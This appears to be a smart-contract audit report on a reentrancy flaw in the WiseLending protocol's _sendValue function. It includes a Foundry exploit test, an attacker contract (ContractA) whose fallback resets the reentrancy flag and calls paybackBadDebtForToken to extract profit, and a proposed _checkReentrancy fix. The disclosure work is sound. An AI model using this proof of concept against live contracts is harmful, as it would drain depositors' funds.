    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }
// import ContractA
import "./ContractA.sol";
// import MockErc20
import "./MockContracts/MockErc20.sol";

contract WiseLendingShutdownTest is Test {
    ...
    ContractA public contractA;

    function _deployNewWiseLending(bool _mainnetFork) internal {
        ...
        contractA = new ContractA(address(FEE_MANAGER_INSTANCE), payable(address(LENDING_INSTANCE)));
        ...
    }
    function testExploitReentrancy() public {
        uint256 depositValue = 10 ether;
        uint256 borrowAmount = 2 ether;
        vm.deal(address(contractA), 2 ether);

        ORACLE_HUB_INSTANCE.setHeartBeat(WETH_ADDRESS, 100 days);

        POSITION_NFTS_INSTANCE.mintPosition();

        uint256 nftId = POSITION_NFTS_INSTANCE.tokenOfOwnerByIndex(address(this), 0);

        LENDING_INSTANCE.depositExactAmountETH{value: depositValue}(nftId);
        LENDING_INSTANCE.borrowExactAmountETH(nftId, borrowAmount);

        vm.prank(address(LENDING_INSTANCE));
        MockErc20(WETH_ADDRESS).transfer(address(FEE_MANAGER_INSTANCE), 1 ether);

        // check contractA balance
        uint ethBalanceStart = address(contractA).balance;
        uint wethBalanceStart = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceStart = ethBalanceStart + wethBalanceStart;
        console.log("totalBalanceStart", totalBalanceStart);

        // deposit using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.depositExactAmountETHMint{value: 2 ether}();
        vm.stopPrank();

       FEE_MANAGER_INSTANCE._increaseFeeTokens(WETH_ADDRESS, 1 ether);
        
        // withdraw weth using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmount(2, WETH_ADDRESS, 1 ether);
        vm.stopPrank();

        // approve feemanager for 1 weth from contractA
        vm.startPrank(address(contractA));
        MockErc20(WETH_ADDRESS).approve(address(FEE_MANAGER_INSTANCE), 1 ether);
        vm.stopPrank();

        // borrow using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.borrowExactAmount(2,  WETH_ADDRESS, 0.5 ether);
        vm.stopPrank();

        // Payback amount
        //499537556593483218

        // withdraw using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmountETH(2, 0.99 ether);
        vm.stopPrank();

        // check contractA balance
        uint ethBalanceAfter = address(contractA).balance;
        uint wethBalanceAfter = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceAfter = ethBalanceAfter + wethBalanceAfter;
        console.log("totalBalanceAfter", totalBalanceAfter);
        uint diff = totalBalanceAfter - totalBalanceStart;
        assertEq(diff > 5e17, true, "ContractA profit greater than 0.5 eth");
    }
// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

// import lending and fees contracts
import "./WiseLending.sol";
import "./FeeManager/FeeManager.sol";

contract ContractA {
    address public feesContract;
    address payable public lendingContract;

    address constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    constructor(address _feesContract, address payable _lendingContract) payable {
        feesContract = _feesContract;
        lendingContract = _lendingContract;
    }

    fallback() external payable {
        if (msg.sender == lendingContract) {
            // send lending contract 0.01 eth to reset reentrancy flag
            (bool sent, bytes memory data) = lendingContract.call{value: 0.01 ether}("");
            //paybackBadDebtForToken
            FeeManager(feesContract).paybackBadDebtForToken(2, WETH_ADDRESS, WETH_ADDRESS, 499537556593483218);
        }
    }
}
    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

	_checkReentrancy(); //add here

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }
